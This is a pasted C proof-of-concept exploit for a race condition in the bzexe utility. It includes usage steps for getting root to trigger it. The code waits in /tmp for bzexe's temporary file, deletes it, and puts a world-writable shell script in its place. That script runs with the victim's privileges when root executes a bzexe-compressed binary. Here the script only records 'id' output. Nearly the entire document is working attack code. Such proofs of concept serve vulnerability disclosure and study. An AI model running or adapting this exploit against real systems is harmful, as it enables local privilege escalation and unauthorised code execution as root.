
bzexec POC
By: a guest on
Oct 27th, 2011 | syntax:
C | size: 1.93 KB | hits: 558 | expires: Never
/*
bzexe race condition POC
Benjamin Renaut <ben@tokidev.fr>
--
Example of use:
$ ./bzexe_poc ls
then in another shell (as root):
# cp /bin/ls ./
# bzexe ls
# ./ls
and check /tmp/stdout.bzexe_poc
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>
char* shellcode="#!/bin/sh\nid >/tmp/stdout.bzexe_poc\n";
int write_shellcode(char* dest)
{
FILE* fdest=fopen(dest, "w");
if(fdest==NULL)
return(-1);
if(chmod(dest, 0777))
return(-1);
fprintf(fdest, shellcode);
fclose(fdest);
return(0);
}
int main(int argc, char** argv)
{
DIR* tdir;
struct dirent* tdirent;
char dirname[4000];
char target[4000];
if(argc!=2)
{
printf("Usage: %s BINARY\n", argv[0]);
printf("Will wait for BINARY to be executed (through bzexe) and then will try and exploit it.\n");
return(0);
}
snprintf(dirname, 4000, "/tmp/%s", argv[1]);
if(mkdir(dirname, 0777))
{
perror("mkdir");
return(-1);
}
while(1)
{
tdir=opendir(dirname);
if(tdir==NULL)
{
perror("opendir");
return(-1);
}
while((tdirent=readdir(tdir))!=NULL)
{
if((strncmp(tdirent->d_name, "gztmp", 5)==0) && (tdirent->d_type & DT_REG))
{
snprintf(target, 4000, "%s/%s", dirname, tdirent->d_name);
// Other files might exist - not taken into account here.
if(unlink(target))
{
perror("unlink");
return(-1);
}
if(rmdir(dirname))
{
perror("rmdir");
return(-1);
}
if(write_shellcode(dirname))
{
printf("Failed.\n");
return(-1);
}
printf("Possible success.\n");
return(0);
}
}
closedir(tdir);
}
return(0);
}